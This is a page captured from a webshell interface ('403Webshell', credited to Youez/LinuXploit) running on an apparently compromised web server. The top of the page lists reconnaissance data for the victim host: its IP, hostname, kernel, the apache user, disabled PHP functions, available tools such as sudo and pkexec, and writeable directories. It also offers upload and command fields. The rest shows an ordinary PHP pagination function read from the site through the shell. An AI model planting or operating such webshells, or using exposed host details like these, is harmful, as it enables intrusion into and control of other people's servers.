403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)gepgroup.hk/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)gepgroup.hk/webadmin//function_get_pagination.php
<?php
function get_pagination(&$models, &$pagination, $model_class, $options, $target_page, $page=1, $url_params='', $numberOfShow=10, $numberOfAdjacent=5)
{
	//-----------------------------------------
	// Initialize reference type parameters
	//-----------------------------------------
	$models = array();
	$pagination = "";
	
	//-----------------------------------------
	// Initialize
	//-----------------------------------------
	$page = abs(intval($page));
	$adjacents = $numberOfAdjacent;
	$limit = $numberOfShow;
	
	//-----------------------------------------
	// Setup page vars for display.
	//-----------------------------------------
	// Get count of pages
	unset($options['limit'], $options['offset']);
	try
	{
		$total_pages = call_user_func(array($model_class, 'count'), $options);
	}
	catch (ActiveRecord\DatabaseException $exception)
	{
		// Do a structure like following comments
		/*
		SELECT COUNT(*)
		FROM (
			... original select statment query ...
		) tmp
		*/
		$conn = ActiveRecord\ConnectionManager::get_connection('production');
		if (isset($options['from']))
			$table = $options['from'];
		else
		{
			$class = new ReflectionClass($model_class);
			$table = $class->getStaticPropertyValue('table_name');
		}
		$builder = new ActiveRecord\SQLBuilder($conn, $table);
		foreach ($options as $operation => $parameter)
		{
			if ($operation == 'conditions')
				call_user_func_array(array($builder, 'where'), $parameter);
			elseif ($operation == 'from')
				; // ignore from
			else
				$builder->$operation($parameter);
		}
		$tmp_conditions = array('');
		foreach ($builder->get_where_values() as $where_value)
			$tmp_conditions[] = $where_value;
		/*
		echo $builder->to_s();
		print_r($tmp_conditions);
		exit;
		*/
		$tmp_options = array(
			'from' => '( ' . $builder->to_s() . ' ) tmp',
			'conditions' => $tmp_conditions,
		);
		$total_pages = call_user_func(array($model_class, 'count'), $tmp_options);
	}
	
	$lastpage = ceil($total_pages/$limit);		//lastpage is = total pages / items per page, rounded up.
	if ($page > $lastpage) $page = $lastpage;
	
	$start = (max($page, 1) - 1) * $limit;
	
	//-----------------------------------------
	// Get models
	//-----------------------------------------
	$options['limit'] = $limit;
	$options['offset'] = $start;
	$models = call_user_func(array($model_class, 'all'), $options);
	
	//-----------------------------------------
	// Generate pagination div
	//-----------------------------------------
	$target_url_params = strlen($url_params) ? $url_params . '&' : '';
	
	if ($page == 0) $page = 1;					//if no page var is given, default to 1.
	$prev = $page - 1;							//previous page is page - 1
	$next = $page + 1;							//next page is page + 1
	$lpm1 = $lastpage - 1;						//last page minus 1
	
	if ($lastpage > 1)
	{
		$pagination .= "<div class=\"pagination\">";
		//previous button
		if ($page > 1)
			$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$prev\">« previous</a>";
		else
			$pagination.= "<span class=\"disabled\">« previous</span>";
		
		//pages	
		if ($lastpage < 7 + ($adjacents * 2))	//not enough pages to bother breaking it up
		{
			for ($counter = 1; $counter <= $lastpage; $counter++)
			{
				if ($counter == $page)
					$pagination.= "<span class=\"current\">$counter</span>";
				else
					$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$counter\">$counter</a>";
			}
		}
		elseif($lastpage > 5 + ($adjacents * 2))	//enough pages to hide some
		{
			//close to beginning; only hide later pages
			if($page < 1 + ($adjacents * 2))
			{
				for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++)
				{
					if ($counter == $page)
						$pagination.= "<span class=\"current\">$counter</span>";
					else
						$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$counter\">$counter</a>";
				}
				$pagination.= "...";
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$lpm1\">$lpm1</a>";
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$lastpage\">$lastpage</a>";
			}
			//in middle; hide some front and some back
			elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2))
			{
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=1\">1</a>";
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=2\">2</a>";
				$pagination.= "...";
				for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++)
				{
					if ($counter == $page)
						$pagination.= "<span class=\"current\">$counter</span>";
					else
						$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$counter\">$counter</a>";
				}
				$pagination.= "...";
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$lpm1\">$lpm1</a>";
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$lastpage\">$lastpage</a>";
			}
			//close to end; only hide early pages
			else
			{
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=1\">1</a>";
				$pagination.= "<a href=\"$targetpage?{$target_url_params}page=2\">2</a>";
				$pagination.= "...";
				for ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++)
				{
					if ($counter == $page)
						$pagination.= "<span class=\"current\">$counter</span>";
					else
						$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$counter\">$counter</a>";
				}
			}
		}
		
		//next button
		if ($page < $counter - 1)
			$pagination.= "<a href=\"$targetpage?{$target_url_params}page=$next\">next »</a>";
		else
			$pagination.= "<span class=\"disabled\">next »</span>";
		$pagination.= "</div>" . PHP_EOL;
	}
	
	//-----------------------------------------
	// Return result
	//-----------------------------------------
	return true;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit